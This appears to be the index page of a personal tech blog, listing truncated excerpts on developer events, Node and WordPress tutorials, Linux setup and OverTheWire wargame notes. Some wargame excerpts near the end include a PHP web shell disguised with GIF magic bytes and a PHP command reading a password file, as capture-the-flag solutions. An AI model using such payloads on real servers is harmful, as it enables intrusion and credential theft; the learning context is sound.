I had an opportunity to attend AWS Summit Berlin 2018 which was interesting, but also one of the most “secure” conferences I have ever attended [...]

#CauseAScene is the strategic disruption of the status quo in tech organizations, communities, & events organized by Kim Crayton. The latest [...]

On my first visit of c-base Raumstation I had the pleasure to participate at Berlin Hack and Tell and present a 5 min demo of the project dyke.tech with [...]

Dev Day Webpage is a developer’s conference in Berlin and Faro where developers can learn about the latest technologies. In Berlin the event was held [...]

The last Sunday in May was the ngGirls Workshop Day at the SinnerSchrader office in Berlin. I have applied as I had totally no experience with Angular, [...]

Lesbian-Feminist University organized the »Ubuntu/Linux installation party« on Tuesday, May 22nd 2018, at club Tiffany (SKUC-Cultural center Q), Metelkova, [...]

Link to event Livestream Video Nadine Schoene: 13:01 Chris Adams: 37:01 Jennifer Ahrens: 57:01 Talks: Elena Poughia: The social network: How I stopped [...]

Details about event: https://www.meetup.com/Women-Who-Code-Berlin-Germany/events/249704886/ Talk 1 – Property Graph and Graph Analytics on top of a [...]

A playlist with highlights from re:publica 2018 – Europe’s biggest conference on topics concerning digitisation and society – happening between [...]

Here are some notes taken at the event and dealing with dat protocol, Beaker Browser, it’s installation and using dat in the console. Recording of [...]

Mozilla’s Global Sprint — open-source hackathon — was in progress on Thursday, May 10 and Friday, May 11. I have participated at Mozilla’s Berlin [...]

The Node.js & Get Data from the Web workshop happened on 13. & 27. March 2018 at Cultural Center Q – Club Tiffany, Ljubljana, Slovenia. As [...]

Conference Date Location Application due Link GraphQL-Europe June 15, 2018 Berlin, Germany, EU June 2, 2018 (midnight UTC) Apply Closed for applications [...]

GitHub $git clone "https://github.com/quickresolve/img-scrapers.git" Enter img-scrapers directory $cd img-scrapers/ Install npm modules $npm install Run [...]

Package on npm Installation npm install --save-dev colors Usage var colors = require('colors/safe'); var volume = " ▁ ▂ ▃ ▄ ▅ ▆ █" [...]

Create a node module new-module.js exports.myText = 'Hi from the module'; module-demo.js var myModule = require('./new-module'); [...]

Fast, flexible & lean implementation of core jQuery designed specifically for the server. Cheerio on GitHub Installation npm install cheerio Usage [...]

Axios is a promise based HTTP client for the browser and node.js. axios GitHub Installation npm install axios or add to the web page <script [...]

Robomongo is a MongoDB management tool with integrated mongoDB shell where you can view, edit and delete documents. Download robomongo.org Install Extract [...]

https://httpie.org/ github Install sudo apt install httpie Sample request http GET http://localhost:4000/api/users http GET :4000/api/users http GET [...]

Install Express and Express generator npm install express --global npm install express-generator -g Check if it is succesfully installed: express --help [...]

Parse, validate, manipulate, and display dates and times in JavaScript. Moment.js docs moment().format('MMMM Do YYYY, h:mm:ss a'); // January 25th 2018, [...]

Setup on laptop Install Chrome Canary or Chromium Go to chrome://inspect/#devices and enable Discover USB devices Setup for mobile Put the phone it in [...]

Run a local server cd /path/to/your-project-folder # python2 python -m SimpleHTTPServer 8080 # python3 python3 -m http.server 8080 Open a browser and visit [...]

Coverage Use Coverage to analyze how much code in the CSS, JS files was actually used on the page. It is updated in real time Go to Dev tools > Sources [...]

Download Windows Go to Windows Download Page And choose the preferred virtual machine and platform. You can choose between the following virtual machines: [...]

Testing guidelines Tab through the content to see if :focus is added Focus order is correct Add role if element is not semantic eg. div for button Add [...]

Web page GitHub repository Installation npm install a11y You might need to install phantomjs beforehand if the installation fails. npm install [...]

GitHub Page Intro Download Elasticsearch tar https://www.elastic.co/start examples are using version 5.4.1 Extract tar into directory Start elasticsearch [...]

Simulators, Emulators and Real Devices In Chrome Dev Tools – Emulator icon Pixel density Emulate a custom device Select Edit from the Responsive [...]

JPG optimization Download jpegoptim from https://github.com/tjko/jpegoptim git clone git@github.com:tjko/jpegoptim.git Install jpegoptim ./configure make [...]

Udacity Project https://github.com/udacity/frontend-nanodegree-mobile-portfolio Analysis tools https://developers.google.com/speed/pagespeed/insights/ [...]

60 frames per second – approx 10-16 ms per frame Making a frame HTTP GET request Server sends HTML Browser parses HTML into DOM – PARSE HTML [...]

Install Firmata on Arduino Open Arduino IDE – Select: File > Examples > Firmata > StandardFirmataPlus and Upload it to the Arduino Install [...]

Various testing Unit testing – code unit – usually a function, usually run in a headless browser Integration testing – in real browsers, [...]

http://dev.maxmind.com/geoip/legacy/geolite/ Download GeoLite Country Binary / gzip and unpack it. Usage https://dev.maxmind.com/geoip/legacy/downloadable/ [...]

If you are tired of changing localhost domain to the correct one before the siteis published this tutorial is for you. We will create a local domain so [...]

RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$ https://www.example.com/$1 [R,L] Change example.com to your domain name. More info

Append the output of wget https://..../image.jpg && cat image.jpg | base64 to data:image/jpeg;base64,

simplehttpserver on npm Instalation npm install simplehttpserver -g Run the server simplehttpserver [directory] simplehttpserver . # current directory View [...]

https://github.com/joshbuchea/HEAD

Gitbook on Github Gitbook documentation Gitbook default theme Gitbook plugins npm install -g gitbook-cli gitbook init // initialize project in the current [...]

Official Page Cheat Sheet for GSAP Examples Simple Tween Repeat button Draggable objects Convert shape into path Morphing Paths

Resources Chris Coyier – The wonderful world of SVG Cheat Sheet SVG Optimizers SVG omg SVG Editor Helpers Cubic Bezier Better performance Easings CSS [...]

Download all .jpg files from a web page wget -r -A .jpg http://site.with.images/url/ Gather all links on the page After you gather all needed links in [...]

Pug Documentation Pug Cli Setup npm init npm install gulp --save-dev npm install gulp-pug --save-dev npm install rename --save-dev Gulpfile.js const gulp = [...]

In this tutorial we will create a Custom post Type named Terms, use Advanced Custom Fields PRO (with ACF Repeater Field) to make a beautiful admin [...]

Sometimes you need to have web pages on localhost in order to test them properly. Web Server for Chrome is a Chrome app that enables you to setup a local [...]

I am sure you have already heard about React, Angular and maybe Vue.js. Today you will get a glimpse into Vue.js and it’s amazing features. [...]

Scrapy is a very powerful framework that enables you to crawl web pages and extract information you need. Installation pip install scrapy Start the project [...]

So you need an XPath for your script or scraper and you have Chrome installed. No problem! Just follow these two steps and you will have your XPath ready. [...]

atom-beautify atom-wordpress autoclose-html browser-plus color-picker emmet gitignore-snippets language-markdown markdown-preview-enhanced linter [...]

There are a couple of ways to parse Apache's access log. It's easiest to examine the file with goaccess or awk, but you can also use python!

Headless Chrome is a way to run the Chrome browser in a headless environment. Installation chrome --headless --remote-debugging-port=9222 [...]

Installation sudo aptitude wireshark Enable capture a traffic as a non-root user using a wireshark setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' [...]

Here are simple steps that will enable you to browse anonymously / hide your real IP. Go to https://www.vpnbook.com/freevpn Download US1 OpenVPN [...]

Installation First download the Compiled package from the Anki official page and execute the following commands: Then execute the following code (make sure [...]

What are Meta Boxes? Meta box is part of the entry form on the post/page editing admin page. In the image below we can see Title, Editor, Format and [...]

Taxonomies are generally based either on Categories (hierarhical) or on Tags (non-hierarhical) and can be included in default or custom post types. Default [...]

Child theme is a great option if you are using a theme downloaded from WordPress.org or another theme provider. A child theme needs to have: – their [...]

Custom post types are a cornerstone of WP REST API. Today we will learn which default post types are already included in WordPress, where we can find them [...]

Git is a free and open source distributed version control system you can use with your projects. It also enables you to store your data in the remote [...]

RewriteEngine On RewriteCond %{HTTPS} !on RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} SOURCE

Learn to use Google's Lighthouse - a tool for web app and web page analysis.

I am sure you have seen people (or even yourself) copying and pasting some data from the web, however with a little bit of “hacker” skills you [...]

Apache2 server log is located at /var/log/apache2/access.log. It displays entries like: 127.0.0.1 - - [30/May/2017:11:36:50 +0200] "GET [...]

Resources Gulp Gulp Recepies Create a project Make a new folder and run the following code mkdir sample-project cd sample-project sudo npm init This will [...]

Prepare the data in functions.php // functions.php wp_localize_script( 'main_js', // name of script name 'theData', // name of the object we want to output [...]

Resources Backbone JavaScript Client Client enables all CRUD operations on the content in WP database. Below two examples are shown – reading and [...]

I have encountered this interesting issue with WordPress permalinks when I was installing WordPress locally. Everything was fine until I changed WordPress [...]

Main Resources WP REST API REST API Handbook Nonce Nonce tips and tricks The WordPress REST API provides API endpoints for WordPress data types that allow [...]

Did it ever happen to you that you have started a local git repository for functionality test or proof of concept and after a few days you had no idea [...]

Promises sound nice, right (at least better than AJAX which always reminds me of cleaning)? And almost like in real life, JavaScript promises have three [...]

Here is some candy for all of you who would like to learn more about Progressive Web Apps. Google preapred Progressive Web Apps Training training with lots [...]

You will need to modify config.cson. You can find it by going to the top menu bar: Edit > Config. Then set hideVcsIgnoredFiles to true. editor: [...]

Homepage Installation Refresh the package database. sudo apt-get update Install the apache2-utils package to get access to ApacheBench. apt-get install [...]

Best option from timeit import default_timer as timer start = timer() # ... end = timer() print(end - start) Simple one import time start = time.time() [...]

Check node version node -v Clear NPM’s cache: sudo npm cache clean -f Install a little helper called ‘n’ sudo npm install -g n Install [...]

Podcast: JavaScript Jabber https://devchat.tv/js-jabber Extract all mp3 links on https://feeds.feedwrench.com/JavaScriptJabber.rss var mp3 = []; [...]

Add https to links ^// https:// Add ‘,’ $\n ',\n'

To download a list of pdfs, gather the all in one txt file and run the following in the console: wget -i url-list.txt Wait until they are all downloaded. [...]

Try to reboot into earlier linux image in GRUB. If it works, try to reinstall the faulty version // caution - not tested yet! + change the version! sudo [...]

/* https://benchmarkjs.com/ INITIALIZE ============== sudo npm i -g npm // update npm sudo npm update -g // update packages npm init // initiate project [...]

/* Code parses leaderboard on https://www.codewars.com/users/leaderboard/kata and extracts users profiles */ var linkStorage = ''; [...]

Today we will parse the library of videos on the page https://aycl.uie.com/. Workflow Login to the page Reveal all links in seminars Use jQuery to get all [...]

Video Writing Solid API Orthagonal code Perfom Universal Action CRUD your methods add/remove/delete/modify Fuel has the following on ecery object .all, [...]

Bower is a package manager for the web. For libraries and frameworks like Bootstrap, jQuery, Font-Awesome, D3, lodash, Vue… Search the List npm init [...]

Patterns Module Patterns Explained (source) Anonymous Closures (function () { // ... all vars and functions are in this scope only // still maintains [...]

Source Install Packages sudo npm install --save-dev babel-cli babel-preset-env Installation for gulp sudo npm install --save-dev gulp sudo npm install [...]

Quick overview Assertions ok(state, message) equal(actual, expected, message) notEqual deepEqual notDeepEqual strictEqual // most useful === notStrictEqual [...]

yum groupinstall "GNOME Desktop" "Graphical Administration Tools" ls -sf /lib/systemd/system/runlevel5.target /lib/systemd/system/default.target

Instructions Prerequisites Before building, you’ll need to ensure the necessary dependencies have been installed on your system: sudo apt-get install [...]

First edit /etc/fstab /dev/sda1 /STORAGE ext4 acl,user_xattr 1 2 Then create new folder and change ownership: cd / sudo mkdir /STORAGE sudo chown -R [...]

https://www.linuxbabe.com/ubuntu/upgrade-ubuntu-16-04-to-ubuntu-16-10 in Software and Updates Select the Updates tab and then at the bottom of window, [...]

Install .deb package sudo dpkg -i DEB_PACKAGE Uninstall .deb package sudo dpkg -r DEB_PACKAGE Reconfigure the package sudo dpkg-reconfigure PACKAGE_NAME

sudo apt-get install openssh-server Edit config sudo nano /etc/ssh/sshd_config Change Port 2222 // change from default 22 PermitRootLogin no [...]

Stacer is a nice tool for Linux System Optimization adn Monitoring. Instalation Download Stacer from GitHub. Choose .deb file for Ubuntu Then run the [...]

sudo add-apt-repository ppa:mystic-mirage/pycharm && sudo apt-get update && sudo apt-get install pycharm-community Source

sudo add-apt-repository ppa:webupd8team/atom sudo apt-get update sudo apt-get install atom

Step 1: Store the list of installed packages Run the following command on the source machine to store the installed packages names in ~/pkglist: sudo dpkg [...]

Load jQuery to the page [...]

Enter into Boot menu with F2 – Boot Tab – make sure that Secure Boot is turned on – Security tab and look for “Select an UEFI file as [...]

sudo mount /dev/sdXY /mnt sudo mount --bind /dev /mnt/dev && sudo mount --bind /dev/pts /mnt/dev/pts && sudo mount --bind /proc /mnt/proc [...]

Add image as base64 encoded <img src="data:image/png;base64,___iVBORw0KGgoAAAANSUhEU___"> Get the encoded image Right Click on image > Inspect [...]

YouTube-dl is a command-line program to download videos from YouTube.com and other video sites. We will look into it’s basic usage. Instalation sudo [...]

Note: mysqlslap is installed together with mysql server Official description of mysqlslap mysqlslap is a diagnostic program designed to emulate client load [...]

Get your user agent by entering the following code into browser console: navigator.userAgent Chromium on Ubuntu "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 [...]

Heimdall is a cross-platform open-source tool suite used to flash firmware (aka ROMs) onto Samsung mobile devices. http://glassechidna.com.au/heimdall/ [...]

sudo apt-add-repository ppa:webupd8team/brackets sudo apt-get update sudo apt-get install brackets

D3 is a superb JavaScript library for data vizualization. Here are some basics that will get you started. Selection of elements You can use CSS selectors [...]

Install MySQL Client From source Download the source file mysqlclient-1.3.10.tar.gz. at mysqlclient and untar it. tar xf mysqlclient-1.3.10.tar.gz Then go [...]

Sonic Pi sudo add-apt-repository ppa:sonic-pi/ppa sudo apt-get update sudo apt-get install sonic-pi

sudo apt install python3-pip

Note: you need to have ssh key associated with github. Look into ssh post and check ssh keys on https://github.com/settings/keys Fork the original project [...]

Installation steps sudo npm install gulp-cli -g sudo npm install gulp -D touch gulpfile.js gulp --help Use gulp with your project Make sure you have files [...]

curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - sudo apt install -y nodejs # or curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash [...]

Install Lamp server sudo apt-get install lamp-server^ http://localhost/ or http://127.0.0.1/ Restart server sudo /etc/init.d/apache2 restart Install [...]

sudo apt install tmux sudo yum install tmux To make aliases available in tmux open .bash_profile and add source ~/.bashrc

ssh-keygen -t rsa -b 4096 ssh-copy-id -i ~/.ssh/kcq_stage.pub kcqstage@companion.dreamhost.com ssh kcqstage@companion.dreamhost.com Setup for github ls -al [...]

sudo apt-get install mysql-client

sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev su -l cd ~ curl -sSL [...]

Project homepage: https://github.com/wp-cli/wp-cli $ curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar $ php wp-cli.phar [...]

What you do when you are not sure of the command you are running especially in case of complex commands which uses a lot of options. We use man pages to [...]

First enable/add NatNetwork and Host only Network in VirtualBox Interface File > Preferences > Network If Host-only adapter gives error on Windows go to [...]

Option 1 with Guest additions Link to iso http://download.virtualbox.org/virtualbox/5.1.14/ sudo apt-key adv --keyserver ha.pool.sks-keyservers.net [...]

http://www.webupd8.org/2014/02/gimp-get-photoshop-like-keyboard.html http://doctormo.deviantart.com/art/Gimp-2-8-Photoshop-Tweaks-432736644

Game Page – Level 0 Level Goal The goal of this level is for you to log into the game using SSH. The host to which you need to connect is [...]

BerkeleyX CS105x on EdX https://courses.edx.org/courses/course-v1:BerkeleyX+CS105x+1T2016/courseware Scalable, efficient analysis of Big Data. Week 1 [...]

Convert IP to dword 206.191.158.55. 206 * 256 + 191 = * 256 + 158 = * 256 + 55 = 3468664375 dword number, any multiple of the quantity 4294967296 (2^564) [...]

HTML <td data-gender="male">...</td> CSS td[data-gender="male"] { ... } Jquery $('td:contains("male")') $(element).not(":contains('male')")

Install Gedit sudo apt-get install gedit Install plugins sudo apt-get install gedit-plugins Run gedit from terminal: gedit filename.c Enable plugins: Edit [...]

Install R on Cloud 9 Download wget http://cran.r-project.org/src/base/R-3/R-3.0.3.tar.gz tar -xzf R-3.0.3.tar.gz cd R-3.0.3 Install sudo apt-get update [...]

Computational complexity When we talk about the complexity of an algorithm, we generally refer to the worst-case scenario (Big O) and the best case [...]

https://learnxinyminutes.com/docs/c/ http://pubs.opengroup.org/onlinepubs/9699919799/ http://www.cprogramming.com/tutorial/ Ctrl + L = Clear screen Get [...]

log16 = log16 / log2 = 4

Plugin https://github.com/Bash-it/bash-it Old way http://misc.flogisoft.com/bash/tip_colors_and_formatting

#python2 sudo apt-get install python-tk # python3 sudo apt-get install python3-tk

Install with pip pip install matplotlib # or pip3 install matplotlib #or sudo apt-get build-dep python-matplotlib # or git clone [...]

This wargame doesn’t require any knowledge about programming – just a bit of common sense and some knowledge about basic *nix commands. We had [...]

Add magic numbers to the beginning of the file fh = open('magic_numbers_gif.php','w') fh.write('\x47\x49\x46\x38' + '<?php passthru($_GET["cmd"]); [...]

https://learnxinyminutes.com/docs/php/ http://php.net/manual/en/langref.php Execute bash in php <?php echo exec("cat /etc/natas_webpass/natas13"); ?> [...]

from Crypto.Cipher import AES from Crypto.Cipher import XOR from Crypto.Hash import SHA256 from Crypto.Hash import MD5 import base64 import os # SHA - [...]

#!/bin/bash Create a variable and echo it x1='Name' x2=3 echo "${x1}${x2}" # Name3 Shorten string echo "${original::-2}" If sentences # string starts with [...]

FAST_CHARLIST = ' etaonisrhldcupfmwybgvkqxjzETAONISRHLDCUPFMWYBGVKQXJZ,.!'

Natas teaches the basics of serverside web-security. Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, [...]

Game Page For beginners to familiarize themselves with CLI and networking tools. Basic comands cat cat ./- # "-" means STDIN cat <- ls ls -la clear [...]